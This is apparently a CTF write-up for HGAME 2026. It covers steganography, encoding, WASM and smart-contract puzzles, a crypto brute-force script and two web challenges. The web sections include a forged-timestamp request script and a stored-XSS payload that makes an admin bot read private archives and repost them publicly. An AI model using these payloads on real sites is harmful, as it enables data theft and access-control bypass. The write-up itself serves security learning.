2026.2.2 HGAME
2026-08-22 20:05:38

Misc-打好基础

📎 相关：
| 3.编码分析
| 1.图片隐写
| 1.1LSB隐写
| Misc tools
| 5.AI越狱
| 6.2USB 键鼠流量

emoji解码 也是base100

https://ctf.bugku.com/tool/base100

20260202hgame-01

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Base混合多重解码:
[解码8次] Base92 -> Base91 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32
混合解码结果:hgame{L4y_a_sO11d_f0unDaTi0n}

hgame{L4y_a_sO11d_f0unDaTi0n}

Misc-Invest on Matrix

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import numpy as np
from PIL import Image

# Hints data: 按 -1 到 -25 的顺序，对应子矩阵 1-25
hints = [
    "1111110000101111011110111",   # -1 pts  -> 子矩阵1: [0:5, 0:5]
    "1101101011010100100001001",   # -2 pts  -> 子矩阵2: [0:5, 5:10]
    "00100111010001101101011000",  # -3 pts  -> 子矩阵3: [0:5, 10:15]
    "00011000101101011010000010",  # -4 pts  -> 子矩阵4: [0:5, 15:20]
    "1111100001111011110111101",   # -5 pts  -> 子矩阵5: [0:5, 20:25]
    "1000011111000000011110100",   # -6 pts  -> 子矩阵6: [5:10, 0:5]
    "0101011010000100101010101",   # -7 pts  -> 子矩阵7: [5:10, 5:10]
    "0011010101011110010001001",   # -8 pts  -> 子矩阵8: [5:10, 10:15]
    "10010010110000011111111010",  # -9 pts  -> 子矩阵9: [5:10, 15:20]
    "00001111111000000011101011",  # -10 pts -> 子矩阵10: [5:10, 20:25]
    "1101111101011001000110011",   # -11 pts -> 子矩阵11: [10:15, 0:5]
    "1101100110110100000111110",   # -12 pts -> 子矩阵12: [10:15, 5:10]
    "1101000101111101101110010",   # -13 pts -> 子矩阵13: [10:15, 10:15]
    "1110100001101011101000010",   # -14 pts -> 子矩阵14: [10:15, 15:20]
    "1111110001100010001001001",   # -15 pts -> 子矩阵15: [10:15, 20:25]
    "1010110101000001111110000",   # -16 pts -> 子矩阵16: [15:20, 0:5]
    "0001001011000101100001000",   # -17 pts -> 子矩阵17: [15:20, 5:10]
    "1110100111100011100101111",   # -18 pts -> 子矩阵18: [15:20, 10:15]
    "0111101111010001101011000",   # -19 pts -> 子矩阵19: [15:20, 15:20]
    "000101101111111111011110011", # -20 pts -> 子矩阵20: [15:20, 20:25]
    "1011110111101111000011111",   # -21 pts -> 子矩阵21: [20:25, 0:5]
    "0101101011010100100111001",   # -22 pts -> 子矩阵22: [20:25, 5:10]
    "11010100111100110110100001",  # -23 pts -> 子矩阵23: [20:25, 10:15]
    "11111000111011110101010000",  # -24 pts -> 子矩阵24: [20:25, 15:20]
    "1000000101001010100100111",   # -25 pts -> 子矩阵25: [20:25, 20:25]
]

# 检查每个 hint 的长度
print("=== Hint 长度检查 ===")
for i, h in enumerate(hints):
    print(f"Hint {i+1}: 长度={len(h)}, 内容={h}")

# 长度不是25的需要处理
# 先尝试直接截取前25位或后25位
print("\n=== 尝试还原矩阵 ===")

matrix = np.zeros((25, 25), dtype=int)

for idx, hint in enumerate(hints):
    row_block = idx // 5  # 0-4
    col_block = idx % 5   # 0-4
    
    # 如果长度不是25，打印警告
    if len(hint) != 25:
        print(f"WARNING: Hint {idx+1} 长度为 {len(hint)}，不是25")
        # 尝试取前25位
        data = hint[:25]
    else:
        data = hint
    
    for i in range(5):
        for j in range(5):
            bit_idx = i * 5 + j
            if bit_idx < len(data):
                matrix[row_block * 5 + i][col_block * 5 + j] = int(data[bit_idx])

# 打印矩阵
print("\n=== 25x25 矩阵 ===")
for row in matrix:
    print("".join(str(x) for x in row))

# 生成图片 - 黑白二维码风格
# 1 = 黑色, 0 = 白色
scale = 20  # 每个像素放大20倍
img_size = 25 * scale
img = Image.new('RGB', (img_size, img_size), 'white')
pixels = img.load()

for i in range(25):
    for j in range(25):
        color = (0, 0, 0) if matrix[i][j] == 1 else (255, 255, 255)
        for di in range(scale):
            for dj in range(scale):
                pixels[j * scale + dj, i * scale + di] = color

img.save('qr_matrix.png')
print("\n图片已保存为 qr_matrix.png")

# 也生成反转版本（0=黑，1=白）
img2 = Image.new('RGB', (img_size, img_size), 'white')
pixels2 = img2.load()

for i in range(25):
    for j in range(25):
        color = (255, 255, 255) if matrix[i][j] == 1 else (0, 0, 0)
        for di in range(scale):
            for dj in range(scale):
                pixels2[j * scale + dj, i * scale + di] = color

img2.save('qr_matrix_inverted.png')
print("反转图片已保存为 qr_matrix_inverted.png")

20260202hgame-02

好像出了点问题 右上角那块就明显不对 纠错等级达到L W0RTH_1T?

hgame{W0RTH_1T?}

Misc-shiori不想找女友

从EXIF中提取隐藏的JSON配置（采样参数）

20260202hgame-03

图片上看到像素点 想到最近邻下采样

常规的题都是从(0,0)开始提取 这题有所不同

exif数据写明 从坐标(10,10)开始，步长是7

用GIMP工具查看 也能看出像素点是从(10,10)开始 步长为7

20260202hgame-04

从shiori.png中提取EXIF数据中嵌入的配置，保存为config.json

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# 1_extract_exif.py
from PIL import Image
import json
import sys

def main():
    try:
        img = Image.open("shiori.png")
    except FileNotFoundError:
        print("Error: shiori.png not found.", file=sys.stderr)
        sys.exit(1)

    exif = img.info.get("exif")
    if not exif:
        print("Error: No EXIF data in image.", file=sys.stderr)
        sys.exit(1)

    idx = exif.find(b"UNICODE\x00\x00")
    if idx == -1:
        print("Error: UNICODE config marker not found in EXIF.", file=sys.stderr)
        sys.exit(1)

    cfg_bytes = exif[idx + 8:]
    cfg = json.loads(cfg_bytes.decode("utf-16-be"))

    with open("config.json", "w", encoding="utf-8") as f:
        json.dump(cfg, f, indent=2)

    print("Step 1 done: config.json saved.")

if __name__ == "__main__":
    main()

根据config.json计算所有采样坐标，保存为positions.txt

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# 2_generate_positions.py
import json
from PIL import Image
import sys

def main():
    # 加载配置
    try:
        with open("config.json", "r", encoding="utf-8") as f:
            cfg = json.load(f)
    except FileNotFoundError:
        print("Error: config.json not found. Run 1_extract_exif.py first.", file=sys.stderr)
        sys.exit(1)

    # 获取图像尺寸
    try:
        w, h = Image.open("shiori.png").size
    except FileNotFoundError:
        print("Error: shiori.png not found.", file=sys.stderr)
        sys.exit(1)

    sx, sy = cfg["start_x"], cfg["start_y"]
    dx, dy = cfg["step_x"], cfg["step_y"]

    positions = [
        (sx + c * dx, sy + r * dy)
        for r in range((h - sy) // dy + 1)
        for c in range((w - sx) // dx + 1)
    ]

    # 保存为文本：每行 "x y"
    with open("positions.txt", "w") as f:
        for x, y in positions:
            f.write(f"{x} {y}\n")

    print(f"Step 2 done: {len(positions)} positions saved to positions.txt.")

if __name__ == "__main__":
    main()

读取shiori.png和positions.txt，用亮度通道L采样像素值，生成sample_L.png

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# 3_sample_luminance.py
from PIL import Image
import json
import math
import sys

def main():
    # 读取位置
    try:
        with open("positions.txt", "r") as f:
            positions = [tuple(map(int, line.strip().split())) for line in f]
    except FileNotFoundError:
        print("Error: positions.txt not found. Run 2_generate_positions.py first.", file=sys.stderr)
        sys.exit(1)

    # 读取配置（仅需 column_num）
    try:
        with open("config.json", "r", encoding="utf-8") as f:
            cfg = json.load(f)
        cols = cfg["column_num"]
    except FileNotFoundError:
        print("Error: config.json not found.", file=sys.stderr)
        sys.exit(1)

    # 打开原图并转为亮度图
    try:
        img = Image.open("shiori.png").convert("L")
    except FileNotFoundError:
        print("Error: shiori.png not found.", file=sys.stderr)
        sys.exit(1)

    pix = img.load()

    # 采样亮度值（注意边界检查可选，此处假设位置合法）
    vals = []
    for x, y in positions:
        if 0 <= x < img.width and 0 <= y < img.height:
            vals.append(pix[x, y])
        else:
            vals.append(0)  # 越界填充0

    # 补齐为矩形
    rows = math.ceil(len(vals) / cols)
    vals += [0] * (cols * rows - len(vals))

    # 生成输出图像
    out = Image.new("L", (cols, rows))
    out.putdata(vals)
    out.save("sample_L.png")

    print("Step 3 done: sample_L.png saved.")

if __name__ == "__main__":
    main()

获得密码This_is_a_key_for_u解压zip文件

20260202hgame-05

得到shiori?.jpgstegsolve LSB获得flag

20260202hgame-06

hgame{bec0use_lilies_are_7he_b1st}

Misc-[REDACTED]

flag-Part1 透明文本隐写

  • 编辑器中查看隐藏的内容，使用白色或透明文本隐藏信息

在编辑处查看黑框遮盖的内容

20260202hgame-07

1：PAR4D0X

flag-Part2 JavaScript代码隐写

  • 点击下隐藏的框即可，通过PDF中嵌入的JavaScript代码触发显示

20260202hgame-08

2:AllCl3asToPr0ceed

flag-Part3 图像LSB隐写

  • 保存下来那张有涂抹的图片，图片中使用LSB隐写术隐藏数据

20260202hgame-09

Target Problem3:Sh4m1R

flag-Part4 未使用对象隐写

  • 使用foremost工具提取PDF中未引用的隐藏对象
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┌──(kali㉿kali)-[~]
└─$ cd /home/kali/Desktop
                                                                                                                  
┌──(kali㉿kali)-[~/Desktop]
└─$ foremost -i manual.pdf -o manual
Processing: manual.pdf
|*|
                                                                                                                  
┌──(kali㉿kali)-[~/Desktop]
└─$

20260202hgame-10

4:D0cR3qu3st3r_Tutu

hgame{PAR4D0X_AllCl3asToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}

Misc-Vidar Token

Step 1: 前端代码

访问靶机，是一个名为Vidar Finance的 DeFi页面，包含一个 NFT 项目VidarPunks

页面使用了 ethers.js 与本地 RPC 节点交互，并加载了一个 WASM 模块。

查看 app.js 源码

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const rpcUrl = `${window.location.origin}/rpc`;
const vaultStatusEl = document.getElementById("vault-status");
const walletStatusEl = document.getElementById("wallet-status");
const appContentEl = document.getElementById("app-content");

let entranceAddress = null;
let walletProvider = null;

vaultStatusEl.textContent = "请先连接 (｡•̀ᴗ•́｡)";

function readCString(mem, offset, max = 128) {
  const bytes = new Uint8Array(mem.buffer, offset, max);
  let out = "";
  for (let i = 0; i < bytes.length; i++) {
  if (bytes[i] === 0) break;
  out += String.fromCharCode(bytes[i]);
}
return out;
}

async function connectWallet() {
  walletProvider = null;
  walletStatusEl.classList.remove("active");
  appContentEl.classList.add("locked");
  appContentEl.classList.remove("unlocked");
  vaultStatusEl.textContent = "浏览器钱包在非 HTTPS 环境无法直接连接 (＞﹏＜)";
}

async function checkEligibility() {
  vaultStatusEl.textContent = "尝试读取元数据... (｡•̀ᴗ•́｡)";
  try {
  if (!entranceAddress) {
  const res = await fetch("/wasm/k.wasm", { method: "GET" });
if (res.ok) {
  const wasm = await res.arrayBuffer();
  const { instance } = await WebAssembly.instantiate(wasm, {});
const ptr = instance.exports.get_entrance();
const text = readCString(instance.exports.memory, ptr, 80);
const match = text.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
entranceAddress = match ? match[1] : "";
}
}

if (!entranceAddress) {
  vaultStatusEl.textContent = "入口未就绪 (´• ω •`)";
  return;
}

const provider = new ethers.JsonRpcProvider(rpcUrl);
const vault = new ethers.Contract(
entranceAddress,
["function tokenURI(uint256) view returns (string)"],
provider
);

await vault.tokenURI(0);
vaultStatusEl.textContent = "元数据已就绪 (｡•̀ᴗ•́｡)";
} catch (err) {
  vaultStatusEl.textContent = "读取失败 (｡•́︿•̀｡)";
}
}

function safe(fn) {
  return async () => {
  try {
  await fn();
} catch (err) {
  if (vaultStatusEl) vaultStatusEl.textContent = err.message || String(err);
}
};
}

document.getElementById("connect-wallet").addEventListener("click", safe(connectWallet));
const checkBtn = document.getElementById("check-eligibility");
if (checkBtn) {
  checkBtn.disabled = true;
  checkBtn.setAttribute("aria-disabled", "true");
}
  1. 加载一个WASM文件/wasm/k.wasm
  2. 调用WASM里的函数get_entrance()，拿到一个以太坊合约地址
  3. 用ethers.js 连接本地 RPC，调用入口合约的tokenURI(0)函数

两处提示注释：

<!-- maybe you need toolkit (｡•̀ᴗ•́｡) -->

<!-- I said you need toolkit ... (๑•́ ω •̀๑) -->

意思是你需要工具包

Step 2: 分析 WASM 模块

下载 k.wasm

提取wasm里的字符串

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安装最新的 PowerShell，了解新功能和改进！https://aka.ms/PSWindows

PS C:\Users\13964\Desktop\111> $bytes = [System.IO.File]::ReadAllBytes('k.wasm')
PS C:\Users\13964\Desktop\111> $str = ''
PS C:\Users\13964\Desktop\111> $strings = @()
PS C:\Users\13964\Desktop\111> foreach ($b in $bytes) {
>>     # 允许字母、数字、=、_、{、}、0x 等常见 flag 字符
>>     if (($b -ge 0x20 -and $b -le 0x7E) -or $b -eq 0x3D -or $b -eq 0x7B -or $b -eq 0x7D) {
>>         $str += [char]$b
>>     } else {
>>         if ($str.Length -ge 4) {
>>             $strings += $str
>>         }
>>         $str = ''
>>     }
>> }
PS C:\Users\13964\Desktop\111> if ($str.Length -ge 4) { $strings += $str }
PS C:\Users\13964\Desktop\111> $strings | Sort-Object | Get-Unique
?8hb
<9;hbob<c
>9jZ
addr_lo
basea_done
basea_loop
baseb_done
baseb_loop
cipher_hi
cipher_lo
decode
decoded
decrypt_logic
entrance_done
entrance_loop
get_basea
get_baseb
get_entrance
gj"icohc<>
gj"o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;o;Z
gj"o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>o8o>Z
memory
name
PS C:\Users\13964\Desktop\111>
函数名 作用
get_entrance() 返回入口合约地址
get_basea() 返回 XOR 密钥 A(一串十六进制也就是BASEA
get_baseb() 返回 XOR 密钥 B(一串十六进制也就是BASEB
decrypt_logic() 解密函数 
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import wasmtime

engine = wasmtime.Engine()
store = wasmtime.Store(engine)
module = wasmtime.Module.from_file(engine, 'k.wasm')
instance = wasmtime.Instance(store, module, [])

memory = instance.exports(store)["memory"]

def read_cstring(ptr, max_len=256):
    data = memory.data_ptr(store)
    size = memory.data_len(store)
    import ctypes
    buf = (ctypes.c_ubyte * size).from_address(ctypes.addressof(data.contents))
    out = []
    for i in range(max_len):
        if ptr + i >= size:
            break
        b = buf[ptr + i]
        if b == 0:
            break
        out.append(chr(b))
    return ''.join(out)

get_entrance = instance.exports(store)["get_entrance"]
get_basea = instance.exports(store)["get_basea"]
get_baseb = instance.exports(store)["get_baseb"]
decrypt_logic = instance.exports(store)["decrypt_logic"]

ptr1 = get_entrance(store)
print(f"get_entrance ptr: {ptr1}")
print(f"get_entrance: {read_cstring(ptr1)}")

ptr2 = get_basea(store)
print(f"get_basea ptr: {ptr2}")
print(f"get_basea: {read_cstring(ptr2)}")

ptr3 = get_baseb(store)
print(f"get_baseb ptr: {ptr3}")
print(f"get_baseb: {read_cstring(ptr3)}")

try:
    ptr4 = decrypt_logic(store)
    print(f"decrypt_logic ptr: {ptr4}")
    print(f"decrypt_logic: {read_cstring(ptr4, 512)}")
except Exception as e:
    print(f"decrypt_logic error: {e}")

# Dump memory strings
import ctypes
size = memory.data_len(store)
data = memory.data_ptr(store)
buf = (ctypes.c_ubyte * size).from_address(ctypes.addressof(data.contents))

current = []
start = 0
for i in range(min(size, 65536)):
    b = buf[i]
    if 0x20 <= b <= 0x7e:
        if len(current) == 0:
            start = i
        current.append(chr(b))
    else:
        if len(current) >= 4:
            print(f"[{start}] {''.join(current)}")
        current = []

运行后得到

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get_entrance: ENTRANCE=0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0
get_basea:    BASEA=0x5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d
get_baseb:    BASEB=0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a

Step 3: 查询智能合约

通过 JSON-RPC 调用入口合约的 tokenURI(0)

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// 先定义 readCString（如果 console 里没有）
function readCString(mem, offset, max = 128) {
  const bytes = new Uint8Array(mem.buffer, offset, max);
  let out = "";
  for (let i = 0; i < bytes.length; i++) {
  if (bytes[i] === 0) break;
  out += String.fromCharCode(bytes[i]);
}
return out;
}

// 手动调用检查函数
(async () => {
  // 1. 获取 entrance 地址
  const res = await fetch("/wasm/k.wasm");
  const wasm = await res.arrayBuffer();
  const { instance } = await WebAssembly.instantiate(wasm, {});
const ptr = instance.exports.get_entrance();
const text = readCString(instance.exports.memory, ptr, 80);
const match = text.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
const entranceAddress = match ? match[1] : null;

console.log("Entrance Contract:", entranceAddress);

// 2. 调用 tokenURI(0)
const provider = new ethers.JsonRpcProvider(window.location.origin + "/rpc");
const vault = new ethers.Contract(
entranceAddress,
["function tokenURI(uint256) view returns (string)"],
provider
);

const uri = await vault.tokenURI(0);
console.log("tokenURI(0) =", uri);

// 3. 如果 uri 是 base64 JSON，解码它
if (uri.startsWith("data:application/json;base64,")) {
  const b64 = uri.split(",")[1];
  const json = atob(b64);
  console.log("Decoded metadata:", json);
}
})();

获得base64编码的NFT元数据

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{
  "name": "VidarPunks #0",
  "description": "VidarPunks Vault NFT. Seek your fortune with VidarCoin.",
  "attributes": [
    {
      "trait_type": "Linked Coin Address",
      "value": "0xc5273abfb36550090095b1edec019216ad21be6c"
    }
  ],
  "vidar_coin": "0xc5273abfb36550090095b1edec019216ad21be6c"
}

元数据指向 VidarCoin 代币合约 0xc5273abfb36550090095b1edec019216ad21be6c。

Step 4: 提取密文

调用 VidarCoin 合约的 symbol() 函数，返回了一个异常长的字符串（88字节），而不是普通的代币符号：

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0x6960606a647c5458603172484d7275346d7e2c4c6f48762a32756258764672702c355b35343f363667627c

是一段 hex 编码的密文（43字节）

Step 5: XOR 解密

WASM 提供了两个 XOR 密钥：

  • BASEA = 5b5d5b5d...（重复的 []\x5b\x5d）
  • BASEB = 5a5a5a5a...（重复的 \x5a）

计算 XOR 密钥：BASEA ⊕ BASEB = 0107010701070107...（循环）

将密文与此密钥逐字节 XOR：

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cipher = bytes.fromhex("6960606a647c5458603172484d7275346d7e2c4c6f48762a32756258764672702c355b35343f363667627c")
key = bytes.fromhex("0107010701070107" * 6)  # 循环密钥
flag = bytes(c ^ k for c, k in zip(cipher, key))
print(flag.decode())

exp

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import urllib.request, json, base64

RPC = "http://1.116.118.188:30634/rpc"

def rpc_call(method, params):
    payload = json.dumps({"jsonrpc":"2.0","method":method,"params":params,"id":1})
    req = urllib.request.Request(RPC, data=payload.encode(), headers={"Content-Type":"application/json"})
    return json.loads(urllib.request.urlopen(req).read())

# Step 1: 从 WASM 获取入口地址和 XOR 密钥
# (实际需要执行 WASM，这里直接用结果)
entrance = "0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0"
basea = bytes.fromhex("5b5d" * 16)
baseb = bytes.fromhex("5a5a" * 16)

# Step 2: 从 tokenURI(0) 获取 VidarCoin 地址
r = rpc_call("eth_call", [{"to": entrance, "data": "0xc87b56dd" + "0"*64}, "latest"])
hex_data = r['result'][2:]
length = int(hex_data[64:128], 16)
uri = bytes.fromhex(hex_data[128:128+length*2]).decode()
metadata = json.loads(base64.b64decode(uri.split(",")[1]))
vidar_coin = metadata["vidar_coin"]

# Step 3: 从 symbol() 获取密文
r = rpc_call("eth_call", [{"to": vidar_coin, "data": "0x95d89b41"}, "latest"])
hex_data = r['result'][2:]
length = int(hex_data[64:128], 16)
symbol = bytes.fromhex(hex_data[128:128+length*2]).decode()
cipher = bytes.fromhex(symbol[2:])  # 去掉 "0x" 前缀

# Step 4: XOR 解密
xor_key = bytes(a ^ b for a, b in zip(basea, baseb))  # 0107 repeating
flag = bytes(c ^ xor_key[i % len(xor_key)] for i, c in enumerate(cipher))
print(f"Flag: {flag.decode()}")
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hgame{U_a6sOLut3ly-KnOw-3rc_wAsw-2Z25871fe}

但是 提交了一下 是incorrect

检查一下 我觉得是wasm

把w改成m就对啦

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hgame{U_a6sOLut3ly-KnOw-3rc_wAsm-2Z25871fe}

Web-魔理沙的魔法目录

提示说 如果你能阅读他们 1 个小时以上, 就会给你奖励!

是一个时间相关的漏洞

查看网页源码，看到引用了 javascripts/tracker.js，这个文件名暗示它在追踪，追踪什么，可能是用户行为，可能是时间记录

下载这个JS文件后发现：代码被严重混淆，使用了大量的十六进制运算和字符串编码，通过搜索字符串常量找到关键线索：

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// API 端点
['/login', '/record', '/check']

// 存储相关
['ctf_token', 'localStorage', 'getItem']

// 用户信息
['username', 'JSON', 'body', 'fetch']

// 时间验证
['time', 'status', 'removeItem']

// UI 元素
['ctf-win-modal', 'document', 'getElementById']

在Network也看到/login``/record``/check

20260202hgame-11

推测工作流程

用户访问网站时生成一个随机用户名

调用/login登录后获得token

调用/record记录用户开始阅读的时间

1小时后调用/check检查，如果当前服务器时间-提交的开始时间>=3600秒就返回flag

漏洞和攻击思路

如果后端信任客户端提交的time字段，而没有与服务器实际记录的实际做对比，那么可以在/record提交一个早于当前时间1小时的时间戳，然后立刻调用/check，绕过等待

尝试构造攻击请求 向/record提交一个小时前的时间戳

在控制台运行

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// 1. 生成用户名（模仿前端行为）
const username = "player_" + Math.floor(Date.now() / 1000);

// 2. 登录获取 token
fetch("/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ username: username })
})
.then(res => res.json())
.then(data => {
    console.log("✅ 登录成功，Token:", data.token);
    const token = data.token;

    // 3. 构造 1 小时前的秒级时间戳
    const fakeTime = Math.floor(Date.now() / 1000) - 3601; 

    // 4. 提交伪造的开始时间
    fetch("/record", {
        method: "POST",
        headers: {
            "Authorization": token,
            "Content-Type": "application/json"
        },
        body: JSON.stringify({ time: fakeTime })
    })
    .then(res => res.json())
    .then(recordData => {
        console.log("✅ 时间记录成功:", recordData);

        // 5. 立即检查 flag
        fetch("/check", {
            method: "GET",
            headers: { "Authorization": token }
        })
        .then(res => res.json())
        .then(checkData => {
            console.log("🎉 最终结果:", checkData);
            if (checkData.flag) {
                console.log("🚩 FLAG 获取成功:", checkData.flag);
            }
        })
        .catch(err => console.error("❌ /check 请求失败:", err));
    })
    .catch(err => console.error("❌ /record 请求失败:", err));
})
.catch(err => console.error("❌ /login 请求失败:", err));

已成功获取flag：hgame{yOU_4rE-al5O_4_M@HoU-T5Uk41-N0wla76bf}

Web-博丽神社的绘马挂

这是一个留言板系统

私密留言只有发布者和管理员可见。

点击呼叫灵梦会触发POST /api/report后台bot会自动访问你的私密留言

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script-src 'self' 'unsafe-inline' http: https:

说明允许内联脚本执行，XSS可行

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div.innerHTML = `<div class="msg-content">${m.content}</div>`;

用户输入的内容直接插入到DOM中，未做任何HTML转义，属于存储型XSS

恶意内容会被永久保存在数据库中，每次访问时都会执行

虽然可以XSS注入，但是我作为普通用户无法访问敏感数据，只有管理员有权访问这些数据

攻击链

1.注册账号 发布含XSS的私密留言

2.点击呼叫灵梦 触发 bot 访问私密留言

3.bot执行XSS 以管理员身份请求 /api/archives&&将返回的数据发成一条公开留言

4.读取公开留言 即可获取 flag

exp

任意注册一个用户名和密码

构造一段XSS代码 偷看管理员的秘密数据 再把偷到的内容发成一个公开留言

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<img src=x onerror="
  <!-- 浏览器尝试加载一个不存在的图片x -->
  <!-- 图片加载失败时候执行以下步骤 -->
  console.log('XSS executed!');
  fetch('/api/archives')
  <!-- 用管理员的身份请求秘密数据 -->
  .then(r => r.json())
  <!-- 把返回的数据变成JSON格式 -->
  .then(data => {
  console.log('Data:', data);
  fetch('/api/messages', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
  <!-- 把数据发成一条新的公开留言 -->
  content: 'SECRET:' + JSON.stringify(data),
  is_private: false
  <!-- 设置为公开 -->
  })
  });
  });
  ">

上传（挂马）点击 然后呼叫临梦 点击后会触发POST/api/report

20260202hgame-12

获得flagHgame{th3-sECrEt_oF-h4KuRei_jlnJ41f3faa88}

Crypto-Flux

  1. 假设一个 key（比如从 1 开始试）
  2. 用它计算 h = shash("Welcome to HGAME 2026!", key)
  3. 把 h 当作初始值 x0，结合已知的 x1, x2, x3，反推出 a, b, c
  • 利用三个等式相减，消掉 c，得到两个关于 a, b 的线性方程
  • 解这个方程组
  1. 用算出的 a, b, c 预测第 4 个数 x4'
  2. 如果 x4' == 真实的 x4 → 这个 key 就是对的
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from Crypto.Util.number import inverse, isPrime
import sys

# Given data
data = [
    259574080588277578527410299002867735023798216356763871244908783144610527451187,
    954408432127642232121971189554605898975195279656270435479524132958262607464595,
    902461413507524665418054778947872375987908929501605791883614896110219051835312,
    92554599789649828855418140915311664257163346975111310560999959858873425332254
]
n = 1000081851369905197391900354119969103949357074708517572641608490670646955240669

# Verify n is prime (optional)
# assert isPrime(n)

def shash(value: str, key: int) -> int:
    length = len(value)
    if length == 0:
        return 0
    mask = (1 << 256) - 1
    x = (ord(value[0]) << 7) & mask
    for c in value:
        x = (key * x) & mask ^ ord(c)
    x ^= length & mask
    return x

def solve_ab(h, x1, x2, x3, n):
    # Build linear system for a, b:
    # (x2 - x1) = a*(x1^2 - h^2) + b*(x1 - h)
    # (x3 - x2) = a*(x2^2 - x1^2) + b*(x2 - x1)
    A11 = (x1 * x1 - h * h) % n
    A12 = (x1 - h) % n
    A21 = (x2 * x2 - x1 * x1) % n
    A22 = (x2 - x1) % n
    B1 = (x2 - x1) % n
    B2 = (x3 - x2) % n

    # Determinant
    det = (A11 * A22 - A12 * A21) % n
    if det == 0:
        return None, None
    inv_det = inverse(det, n)

    # Solve using Cramer's rule
    a = (B1 * A22 - B2 * A12) * inv_det % n
    b = (A11 * B2 - A21 * B1) * inv_det % n
    return a, b

def test_key(key):
    value = "Welcome to HGAME 2026!"
    h = shash(value, key)
    x1, x2, x3, x4 = data

    # Solve for a, b
    a, b = solve_ab(h, x1, x2, x3, n)
    if a is None:
        return False

    # Compute c
    c = (x1 - (a * h * h + b * h)) % n

    # Predict next value
    pred = (a * x3 * x3 + b * x3 + c) % n
    return pred == x4

# Brute-force key (hope it's small!)
if __name__ == "__main__":
    print("[*] Starting brute-force...")
    # In CTF, key is often small. Try up to 2^40 or so.
    max_key = 1 << 50  # Adjust based on patience

    for key in range(1, max_key):
        if key % 1000000 == 0:
            print(f"[*] Trying key = {key}")
        if test_key(key):
            print(f"[+] Found key: {key}")
            magic_word = "I get the key now!"
            flag_hash = shash(magic_word, key)
            flag = "VIDAR{" + hex(flag_hash)[2:] + "}"
            print(f"[+] FLAG: {flag}")
            sys.exit(0)

    print("[-] Key not found within range.")
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VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}
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